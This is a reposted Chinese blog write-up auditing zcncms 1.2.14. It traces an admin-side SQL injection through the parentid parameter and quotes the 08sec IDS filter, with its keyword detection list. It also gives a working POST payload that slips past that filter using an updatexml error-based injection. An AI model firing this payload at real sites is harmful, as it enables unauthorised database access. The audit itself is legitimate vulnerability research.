IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    代码审计——zcncms后台SQL注入(一)

    没穿底裤发表于 2016-08-24 16:08:31
    love 0

    from:小黑屋

    由于是后台注入,比较鸡肋,发上来供大家相互参考学习。zcncms版本1.2.14,官方网站地址:
    zcncms

    0x01 变量处理

    文件/include/common.inc.php中

    //检查和注册外部提交的变量
     foreach($_REQUEST as $_k=>$_v)
     {
     //if( strlen($_k)>0 && eregi('^(GLOBALS)',$_k) )
     if( strlen($_k)>0 && preg_match('/^(GLOBALS)/i',$_k) )
     {
     exit('Request var not allow!');
     }
     }
     -------------------------------------------------------------------
     //foreach(Array('_GET','_POST','_COOKIE') as $_request) 取消cookie自动生成变量
     foreach(Array('_GET','_POST') as $_request)
     {
     foreach($$_request as $_k => $_v) {
     //------------------20130128校验变量名
     if(strstr($_k, '_') == $_k){
     echo 'code:re_all';
     exit;
     }
     //可考虑增加变量检测,减少变量覆盖
     //--------------------------
     ${$_k} = _GetRequest($_v);
     }
     }

    过滤变量的key是”_p”和”GLOBALS p”的形式,防止全局变量覆盖;并在函数_GetRequest()中进行了addslashes的操作。了解了上面的情况,那么有什么可利用的点就比较清楚了。

    0x02 未正确过滤

    文件/module/menus/admincontroller/menus.php

    case 'edit'://
     if(isset($submit)){
     $info = array();
     $time = time();
     if(isset($id)){
     $id = intval($id);
     if($id <= 0){
     errorinfo('变量错误','');
     }
    
    $infoold = $menus->GetInfo('',' id = '.$id);
     //改变分类从属判断
     if($parentid != $infoold['parentid']) {&nbsp; //毫无意义的比较
     $List = $menus->GetList('',0,1," parentid = $id ",''); //恰当的id
     if(!empty($List)) {
     errorinfo('对不起,该导航('.$id.')下有子导航','');
     }
     }
     }
     //分析根分类
     if($parentid == 0) {
     $rootid = 0;
     } else{
     $parent = $menus->GetInfo('',' id = '.$parentid); //没有单引号

    在$parentid != $infoold[‘parentid’]中,用的’!=’,很明显如果我们要控制$parentid的值,这个不等式肯定成立。但是errorinfo会使程序退出,所以这里需要一个在数据库不存在的parentid,使得取出$List为空,从而进入下面的sql操作

    $parent = $menus->GetInfo('',' id = '.$parentid);

    0x03 全局过滤(08sec ids)

    在进行尝试的时候,发现了sql执行居然还有过滤

    TB2wu4nuXXXXXXfXXXXXXXXXXXX_!!792076116
    追踪sql语句执行函数,GetInfo()->Execute()->option()->SafeSql()

    function SafeSql($db_string,$querytype='select'){
     //var_dump($db_string);
     //完整的SQL检查
     //$pos = '';
     //$old_pos = '';
     $pos = 0;
     $old_pos = 0;
     $clean = '';
     if(empty($db_string)){
     return false;
     }
     while (true){
     $pos = strpos($db_string, '\'', $pos + 1);
     if ($pos === false)
     {
     break;
     }
     $clean .= substr($db_string, $old_pos, $pos - $old_pos);
     while (true)
     {
     $pos1 = strpos($db_string, '\'', $pos + 1);
     $pos2 = strpos($db_string, '\\', $pos + 1);
     if ($pos1 === false)
     {
     break;
     }
     elseif ($pos2 == false || $pos2 > $pos1)
     {
     $pos = $pos1;
     break;
     }
     $pos = $pos2 + 1;
     }
     $clean .= '$s$';
     $old_pos = $pos + 1;
     }
     $clean .= substr($db_string, $old_pos);
     $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
    
    //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
     if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
     {
     $fail = true;
     $error="union detect";
     }
    
    //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
     elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
     {
     $fail = true;
     $error="comment detect";
     }
    
    //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
     elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
     {
     $fail = true;
     $error="slown down detect";
     }
     elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
     {
     $fail = true;
     $error="slown down detect";
     }
     elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
     {
     $fail = true;
     $error="file fun detect";
     }
     elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
     {
     $fail = true;
     $error="file fun detect";
     }
    
    //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
     elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
     {
     $fail = true;
     $error="sub select detect";
     }
     if (!empty($fail))
     {
     //fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
     exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
     }
     else
     {
     return $db_string;
     }
     }
     }
     ?>

    从代码和警告信息来看,是08sec的通用ids无疑,包括dedecms等内置这个这段代码。网上已经有较多的绕过方式。
    构造payload:

    zcncms/admin/?c=products_class&amp;a=edit&amp;id=1
     POST:
     submit=&amp;parentid=12=@`\\\'`  and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));#@`\\\'`

    2

    0x04 多处类似处理不当

    搜索了一下代码,发现多处parentid处理不当,不过都需要后台权限

    3



沪ICP备19023445号-2号
友情链接